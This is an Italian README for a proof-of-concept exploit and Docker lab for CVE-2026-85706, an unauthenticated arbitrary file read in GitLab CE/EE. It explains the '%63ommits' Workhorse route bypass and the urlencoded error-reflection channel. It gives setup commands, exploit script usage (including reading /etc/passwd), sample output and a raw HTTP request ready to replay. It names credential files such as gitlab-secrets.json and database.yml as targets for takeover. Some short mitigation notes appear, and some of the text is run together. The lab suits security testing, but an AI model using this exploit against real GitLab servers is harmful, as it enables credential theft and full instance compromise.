
PoC e laboratorio Docker per CVE-2026-85706, una lettura arbitraria di file non autenticata in GitLab CE/EE tramite il bypass della rotta API dei commit e il canale di errore urlencoded.
★ CVE-2026-85706 GitLab lettura arbitraria di file non autenticata PoC ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 è una lettura arbitraria di file non autenticata in GitLab CE/EE (CVSS 10.0, CISA KEV) tramite
POST /api/v4/projects/:id/repository/commits, il cui helper di upload del body viene eseguito prima diauthenticate!e leggeparams['file.path']come percorso assoluto senza alcun confinamento. Codificando con URL-encoding un carattere dicommits→%63ommitssi fa sì che GitLab-Workhorse non riconosca la route (quindi non sovrascrive maifile.path), mentre Rails decodifica comunque%63 → ce instrada verso l'handler — consentendo all'attaccante di impostarefile.pathtramite la query string. ConContent-Type=application/x-www-form-urlencoded, l'helper ri-analizza il contenuto del file e un%non seguito da due cifre esadecimali riflette quel contenuto nel body400(i file che non ne contengono forniscono solo un oracolo di lettura401). Richiede almeno un progetto pubblico.
| Categoria | Versione |
|---|---|
| Vulnerabili | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| Corrette | 19.1.8 / 19.2.6 / 19.3.2 o successive (2026-09-10) |
% non valido (log applicativi e configurazioni/credenziali che incorporano valori URL-encoded) → ricognizione + furto di credenziali → concatenazione verso accesso autenticato / compromissione completa dell'istanzagitlab-secrets.json, database.yml); si noti che i file puramente hex/base64 restituiscono solo un oracolo di esistenza attraverso il canale pubblico di riflessione % (nessun byte % non valido per attivare l'eco)authenticate! prima dell'helper di upload del body, così una richiesta non autenticata viene rifiutata prima del sink di lettura fileCompila ed esegui GitLab CE vulnerabile. All'avvio, il seeder deposita /flag.txt (con un
trigger di leak % finale) e crea un progetto pubblico victim/public-app (project id 1) così che
l'API commits sia raggiungibile senza autenticazione. Il primo avvio richiede ~2–3 minuti.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
La flag è un placeholder (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Impostane una tua al
momento dell'esecuzione senza modificare l'immagine: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Precondizione | Stato in questo lab |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| Almeno un progetto pubblico (anon raggiunge l'API commits) | victim/public-app (id 1), creato automaticamente |
/api/v4/projects/:id/repository/commits raggiungibile senza autenticazione | esposto |
| Flag sul filesystem del server | /flag.txt (trigger di riflessione % finale) |
L'exploit gitlab_exploit.py legge un file dal server con una singola richiesta non autenticata,
usando il bypass della route Workhorse %63ommits e il canale di errore di ri-analisi urlencoded.
Scegli il file con --read (predefinito /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
Opzioni:
--read "<abs path>" — percorso file assoluto da leggere (predefinito /flag.txt)--project <id> — id del progetto pubblico raggiungibile senza autenticazione (predefinito 1)--check — conferma solo che il sink di lettura file è raggiungibile (si aspetta local file not present)Richiesta raw (per Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
POST/PUT verso */repository/commits* e */repository/files* a livello di proxy/WAF, e colloca l'istanza dietro SSO / VPN / una allowlist di IP